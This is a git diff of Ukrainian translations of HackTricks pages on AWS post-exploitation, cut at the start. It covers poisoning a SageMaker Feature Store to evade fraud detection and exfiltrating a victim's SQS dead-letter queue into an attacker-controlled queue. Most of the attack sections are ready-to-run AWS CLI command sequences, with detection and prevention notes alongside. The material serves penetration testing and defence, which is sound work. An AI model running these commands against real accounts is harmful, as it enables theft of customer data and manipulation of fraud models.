ліберальної політики ресурсу ModelPackageGroup (PutModelPackageGroupPolicy) це зловживання можна ініціювати cross-account. ## Feature store poisoning -Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints. +Зловживання `sagemaker:PutRecord` для Feature Group з увімкненим OnlineStore дозволяє перезаписати live feature values, які споживаються online inference. У поєднанні з `sagemaker:GetRecord`, attacker може прочитати sensitive features. Для цього доступ до models або endpoints не потрібен. {{#ref}} feature-store-poisoning.md {{/ref}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 7d65d318b..6eeddd69f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,15 +1,17 @@ # SageMaker Feature Store online store poisoning -Зловживати `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення фіч, які споживаються під час online inference. У поєднанні з `sagemaker:GetRecord`, атакуючий може прочитати чутливі фічі та ексфільтрувати конфіденційні ML-дані. Для цього не потрібен доступ до моделей або endpoints, що робить це прямою атакою на шар даних. +{{#include ../../../../banners/hacktricks-training.md}} -## Вимоги -- Дозволи: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Ціль: Feature Group з увімкненим OnlineStore (зазвичай для real-time inference) -- Складність: **LOW** - Простi команди AWS CLI, маніпуляції моделями не потрібні +Зловживати `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення фіч, які споживаються онлайн-інференсом. У поєднанні з `sagemaker:GetRecord`, нападник може читати конфіденційні фічі. Для цього не потрібен доступ до models або endpoints. -## Кроки +## Requirements +- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Target: Feature Group with OnlineStore enabled (typically backing real-time inference) +- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required -### Розвідка +## Steps + +### Reconnaissance 1) Перелічити Feature Groups з увімкненим OnlineStore ```bash @@ -19,18 +21,18 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) Опишіть цільовий Feature Group, щоб зрозуміти його схему +2) Описати цільову Feature Group, щоб зрозуміти її схему ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -Зверніть увагу на `RecordIdentifierFeatureName`, `EventTimeFeatureName` та всі визначення ознак. Вони потрібні для створення коректних записів. +Зверніть увагу на `RecordIdentifierFeatureName`, `EventTimeFeatureName` та всі визначення ознак. Вони необхідні для формування дійсних записів. -### Сценарій атаки 1: Data Poisoning (Overwrite Existing Records) +### Attack Scenario 1: Data Poisoning (Overwrite Existing Records) -1) Прочитайте поточний дійсний запис +1) Прочитайте поточний легітимний запис ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ @@ -61,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**Вплив**: Моделі ML, які споживають цю ознаку, тепер побачать `risk_score=0.99` для легітимного користувача, що може призвести до блокування їхніх транзакцій або послуг. +**Вплив**: ML-моделі, які використовують цю ознаку, тепер бачитимуть `risk_score=0.99` для легітимного користувача, що потенційно призведе до блокування їхніх транзакцій або сервісів. -### Сценарій атаки 2: Зловмисне впровадження даних (Створення шахрайських записів) +### Сценарій атаки 2: Зловмисне впровадження даних (Створення фальшивих записів) -Впровадьте повністю нові записи зі зміненими ознаками, щоб обійти механізми контролю безпеки: +Впровадити цілком нові записи з маніпульованими ознаками для обходу заходів безпеки: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**Вплив**: Зловмисник створює фальшиву особу з низьким ризиковим балом (0.01), яка може виконувати високоцінні шахрайські транзакції, не викликаючи спрацювання системи виявлення шахрайства. +**Impact**: Зловмисник створює фейкову особу з низьким ризиковим балом (0.01), яка може здійснювати високовартісні шахрайські транзакції без спрацьовування системи виявлення шахрайства. -### Сценарій атаки 3: Експфільтрація конфіденційних даних +### Attack Scenario 3: Sensitive Data Exfiltration -Прочитати кілька записів, щоб витягти конфіденційні features та профілювати поведінку моделі: +Читання кількох записів для витягання конфіденційних ознак та профілювання поведінки моделі: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Вплив**: Конфіденційні features (оцінки ризику, шаблони транзакцій, персональні дані) стали доступні зловмиснику. +**Вплив**: Конфіденційні ознаки (оцінки ризику, шаблони транзакцій, персональні дані) стають доступними для зловмисника. ### Створення тестового/демо Feature Group (необов'язково) -Якщо потрібно створити тестовий Feature Group: +Якщо вам потрібно створити тестовий Feature Group: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) @@ -141,20 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## Виявлення - -Моніторте CloudTrail на предмет підозрілих патернів: -- `PutRecord` events from unusual IAM principals or IP addresses -- Висока частота викликів `PutRecord` або `GetRecord` -- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range) -- Масові операції `GetRecord`, що вказують на mass exfiltration -- Доступ поза звичайними робочими годинами або з несподіваних локацій - -Впровадьте виявлення аномалій: -- Валідація значень фіч (наприклад, risk_score має бути 0.0-1.0) -- Аналіз патернів записів (частота, час, source identity) -- Виявлення дрейфу даних (раптові зміни в розподілах фіч) - -## Джерела +## Посилання - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index 379782692..1c0dcce5a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,51 +1,53 @@ -# AWS – SQS DLQ Redrive Екфільтрація через StartMessageMoveTask +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask -## Опис +{{#include ../../../banners/hacktricks-training.md}} -Зловживання тасками переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправляючи їх у чергу, контрольовану атакуючим, за допомогою `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для екфільтрації конфіденційних даних, що накопичувалися в DLQ з часом. +## Description -## Що таке Dead-Letter Queue (DLQ)? +Зловживання задачами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви шляхом перенаправлення їх до черги, якою керує атакуючий, використовуючи `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для ексфільтрації чутливих даних, які накопичувалися в DLQ з часом. -Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично надсилаються, коли основний додаток не може їх успішно обробити. Ці невдалі повідомлення часто містять: +## What is a Dead-Letter Queue (DLQ)? + +Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично відправляються, коли основний додаток не зміг їх успішно обробити. Ці невдалі повідомлення часто містять: - Чутливі дані додатку, які не вдалося обробити -- Інформацію про помилки та відладкові дані -- Personal Identifiable Information (PII) +- Деталі помилок та інформацію для налагодження +- Персональні ідентифікатори (PII) - API токени, облікові дані або інші секрети -- Критично важливі бізнес-транзакційні дані +- Критично важливі для бізнесу транзакційні дані -DLQ виступають як "кладовище" для невдалих повідомлень, тому вони є цінною ціллю, оскільки з часом накопичують чутливі дані, з якими додатки не впоралися. +DLQ виступають як «кладовище» для невдалих повідомлень, що робить їх цінними цілями, оскільки вони накопичують чутливі дані з часом, які додатки не змогли обробити правильно. -## Сценарій атаки +## Attack Scenario -**Реальний приклад:** +**Real-world example:** 1. **E-commerce application** обробляє замовлення клієнтів через SQS -2. **Деякі замовлення не проходять** (проблеми з оплатою, інвентарем тощо) і переміщуються в DLQ -3. **DLQ накопичує** тижні/місяці невдалих замовлень з даними клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +2. **Деякі замовлення не вдаються** (проблеми з оплатою, з інвентарем тощо) і потрапляють до DLQ +3. **DLQ накопичує** тижні/місяці невдалих замовлень, які містять дані клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` 4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS -5. **Атакуючий виявляє**, що в DLQ тисячі невдалих замовлень з конфіденційними даними -6. **Замість спроб доступитися до окремих повідомлень** (повільно й помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень у свою чергу -7. **Атакуючий витягує** всю історичну конфіденційну інформацію за одну операцію +5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень з чутливими даними +6. **Замість спроби доступитися до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` щоб масово перемістити ВСІ повідомлення до своєї черги +7. **Атакуючий витягує** всі історичні чутливі дані за одну операцію -## Вимоги -- Джерельна черга має бути налаштована як DLQ (посилання хоча б однією чергою в RedrivePolicy). -- IAM дозволи (як скомпрометований обліковий принципал жертви): -- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- На черзі призначення: дозвіл доставляти повідомлення (наприклад, політика черги, що дозволяє `sqs:SendMessage` від облікового принципала жертви). Для черг в тій же акаунті це зазвичай дозволено за замовчуванням. -- Якщо увімкнено SSE-KMS: на source CMK `kms:Decrypt`, і на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. +## Requirements +- Джерельна черга повинна бути налаштована як DLQ (посилана принаймні однією політикою RedrivePolicy іншої черги). +- IAM дозволи (виконуються під скомпрометованим принципалом жертви): +- На DLQ (джерелі): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- На черзі-призначенні: дозвіл доставляти повідомлення (наприклад, політика черги, що дозволяє `sqs:SendMessage` від принципала жертви). Для призначень в тій же акаунті це зазвичай дозволено за замовчуванням. +- Якщо увімкнено SSE-KMS: на джерельному CMK `kms:Decrypt`, а на CMK призначення — `kms:GenerateDataKey`, `kms:Encrypt`. -## Вплив -Екфільтрація чутливих payload'ів, що накопичилися в DLQ (невдалі події, PII, токени, payload'и додатку) з високою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від облікового принципала жертви. +## Impact +Ексфільтрація чутливих корисних навантажень, накопичених у DLQ (невдалі події, PII, токени, корисні навантаження додатків) на великій швидкості за допомогою рідних SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від принципала жертви. -## Як зловживати +## How to Abuse -- Ідентифікуйте ARN жертви DLQ і переконайтеся, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підійде). -- Створіть або оберіть чергу, контрольовану атакуючим, і отримайте її ARN. -- Запустіть таск переміщення повідомлень з DLQ жертви у вашу чергу призначення. -- Моніторьте прогрес або скасуйте за потреби. +- Визначте ARN жертви DLQ і переконайтесь, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підійде). +- Створіть або виберіть чергу, якою керує атакуючий, і отримайте її ARN. +- Запустіть задачу переміщення повідомлень з DLQ жертви до вашої черги-призначення. +- Моніторте прогрес або скасуйте за потреби. -### CLI Example: Екфільтрація даних клієнтів з e-commerce DLQ +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**Сценарій**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів. +**Scenario**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів. 1) **Discover and examine the victim DLQ** ```bash @@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **Створити attacker-controlled destination queue** +2) **Створіть attacker-controlled destination queue** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at echo "Created exfiltration queue: $ATTACKER_Q_ARN" ``` -3) **Виконати bulk message theft** +3) **Виконайте bulk message theft** ```bash # Start moving ALL messages from victim DLQ to our queue # This operation will transfer thousands of failed orders containing customer data @@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE" # Monitor the theft progress aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 ``` -4) **Збирайте викрадені чутливі дані** +4) **Збирати вкрадені конфіденційні дані** ```bash # Receive the exfiltrated customer data echo "Receiving stolen customer data..." @@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json done ``` ### Примітки щодо міжакаунтного доступу -- Черга призначення повинна мати політику ресурсу, що дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions). +- Черга призначення повинна мати політику ресурсів, яка дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions). ## Чому ця атака ефективна -1. **Легітимна функція AWS**: Використовує вбудовану функціональність AWS, через що її важко виявити як зловмисну -2. **Пакетна операція**: Швидко переносить тисячі повідомлень замість повільного індивідуального доступу -3. **Історичні дані**: DLQs накопичують чутливі дані протягом тижнів/місяців -4. **Поза увагою**: Багато організацій не відстежують доступ до DLQ уважно -5. **Міжакаунтний доступ**: Може exfiltrate в акаунт AWS зловмисника, якщо дозволи це дозволяють +1. **Legitimate AWS Feature**: Використовує вбудовану функціональність AWS, що ускладнює виявлення як зловмисну +2. **Bulk Operation**: Швидко переносить тисячі повідомлень замість повільного доступу до кожного окремо +3. **Historical Data**: DLQs накопичують конфіденційні дані протягом тижнів/місяців +4. **Under the Radar**: Багато організацій не моніторять доступ до DLQ уважно +5. **Cross-Account Capable**: Може ексфільтрувати в акаунт AWS атакуючого, якщо дозволи це дозволяють ## Виявлення та запобігання ### Виявлення -Моніторте CloudTrail на наявність підозрілих викликів API `StartMessageMoveTask`: +Моніторити CloudTrail на предмет підозрілих викликів API `StartMessageMoveTask`: ```json { "eventName": "StartMessageMoveTask", @@ -143,8 +145,10 @@ done } ``` ### Запобігання -1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише для необхідних ролей -2. **Моніторинг DLQs**: Налаштуйте CloudWatch сповіщення для виявлення аномальної активності в DLQ -3. **Політики між акаунтами**: Ретельно перевіряйте політики черги SQS, що дозволяють доступ між акаунтами -4. **Шифрування DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів -5. **Регулярне очищення**: Не дозволяйте чутливим даним накопичуватись у DLQs безстроково +1. **Least Privilege**: Обмежуйте дозволи `sqs:StartMessageMoveTask` лише для необхідних ролей +2. **Monitor DLQs**: Налаштуйте CloudWatch alarms для сповіщення про аномальну активність у DLQs +3. **Cross-Account Policies**: Ретельно перевіряйте політики черг SQS, які дозволяють доступ між акаунтами +4. **Encrypt DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів +5. **Regular Cleanup**: Не дозволяйте чутливим даним накопичуватися в DLQs невизначено довго + +{{#include ../../../banners/hacktricks-training.md}}